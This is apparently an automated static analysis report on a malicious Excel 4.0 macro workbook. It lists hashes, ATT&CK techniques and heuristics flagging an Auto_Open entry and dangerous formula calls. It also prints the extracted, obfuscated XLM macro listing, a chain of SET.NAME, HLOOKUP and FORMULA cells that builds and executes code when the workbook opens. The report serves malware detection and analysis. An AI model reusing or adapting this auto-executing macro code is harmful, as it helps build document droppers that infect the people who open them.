Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c416057c1b738337…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:03 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 3fe2ac3c626a44d3a19de9e3a0206a98 SHA-1: ca227b26502954b01a79cf058deafeaf80426cc9 SHA-256: c416057c1b7383372c0f71491bed0e352b43e7ab4d5ba842b998a68e7ad99335
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro and the use of dangerous formula APIs, specifically the RUN function. This suggests the macro is designed to execute arbitrary code, likely to download and run a secondary payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6516 bytes
SHA-256: 99f398329ddee107c69ef8136a96b44d4619570f1b784c88bc99a97f2e35ea3b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rVhSk
' 0018     23 LABEL : Cell Value, String Constant - aMkKhnsn len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G133 
' 0018     20 LABEL : Cell Value, String Constant - BQJAP len=0 
' 0018     24 LABEL : Cell Value, String Constant - cIAZeqkJv len=0 
' 0018     26 LABEL : Cell Value, String Constant - eExUSYMUxnA len=0 
' 0018     26 LABEL : Cell Value, String Constant - FOfQUniRkFj len=0 
' 0018     25 LABEL : Cell Value, String Constant - GezHnVfexV len=0 
' 0018     26 LABEL : Cell Value, String Constant - KAjeKioNbEM len=0 
' 0018     24 LABEL : Cell Value, String Constant - LiTrUNlhZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - lJaYX len=0 
' 0018     22 LABEL : Cell Value, String Constant - LSbaCfZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - OhSiXliwcFtr len=0 
' 0018     23 LABEL : Cell Value, String Constant - pTPVQGkI len=0 
' 0018     20 LABEL : Cell Value, String Constant - QmUit len=0 
' 0018     24 LABEL : Cell Value, String Constant - UhGcWHEpZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - uHZBFCoHZfY len=0 
' 0018     24 LABEL : Cell Value, String Constant - uqsFDTllJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - vJsWBQtLFHtK len=0 
' 0018     20 LABEL : Cell Value, String Constant - vpZNK len=0 
' 0018     26 LABEL : Cell Value, String Constant - WVQMYoHbzOG len=0 
' 0018     26 LABEL : Cell Value, String Constant - xfdbLChIQLV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rVhSk,G45,"SET.NAME("KAjeKioNbEM",VALUE("0"))",""
'  rVhSk,G47,"SET.NAME("vpZNK",KAjeKioNbEM)",""
'  rVhSk,G51,"SET.NAME("pTPVQGkI",KAjeKioNbEM)",""
'  rVhSk,G53,"SET.NAME("OhSiXliwcFtr",COUNTA(FOfQUniRkFj))",""
'  rVhSk,G56,"SET.NAME("vJsWBQtLFHtK",COUNTA(LiTrUNlhZ))",""
'  rVhSk,G60,[],""
'  rVhSk,G65,"SET.NAME("aMkKhnsn","")",""
'  rVhSk,G69,"vpZNK",""
'  rVhSk,G73,"SET.NAME("BQJAP",HLOOKUP("*",FOfQUniRkFj,vpZNK,FALSE))",""
'  rVhSk,G75,"UhGcWHEpZ",""
'  rVhSk,G80,"SET.NAME("WVQMYoHbzOG",KAjeKioNbEM)",""
'  rVhSk,G82,[],""
'  rVhSk,G86,"WVQMYoHbzOG",""
'  rVhSk,G89,"eExUSYMUxnA",""
'  rVhSk,G91,"uqsFDTllJ",""
'  rVhSk,G93,"QmUit",""
'  rVhSk,G96,"SET.NAME("lJaYX",VALUE(HLOOKUP("*",LiTrUNlhZ,QmUit,FALSE)))",""
'  rVhSk,G101,"GezHnVfexV",""
'  rVhSk,G105,"aMkKhnsn",""
'  rVhSk,G108,"pTPVQGkI",""
'  rVhSk,G113,NEXT(),""
'  rVhSk,G117,"uHZBFCoHZfY",""
'  rVhSk,G120,"SET.NAME("f",INT(T(FORMULA(T(aMkKhnsn)&"",""&T(uHZBFCoHZfY)))))",""
'  rVhSk,G124,"LSbaCfZ",""
'  rVhSk,G126,NEXT(),""
'  rVhSk,G130,RETURN(),""
'  rVhSk,G157,"SET.NAME("xfdbLChIQLV",G45)",""
'  rVhSk,G162,"FOfQUniRkFj",""
'  rVhSk,G167,"SET.NAME("LiTrUNlhZ",R73C15)",""
'  rVhSk,G169,"SET.NAME("LSbaCfZ",176)",""
'  rVhSk,G172,"SET.NAME("cIAZeqkJv",7)",""
'  rVhSk,G175,xfdbLChIQLV(),""
'  rVhSk,G176,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.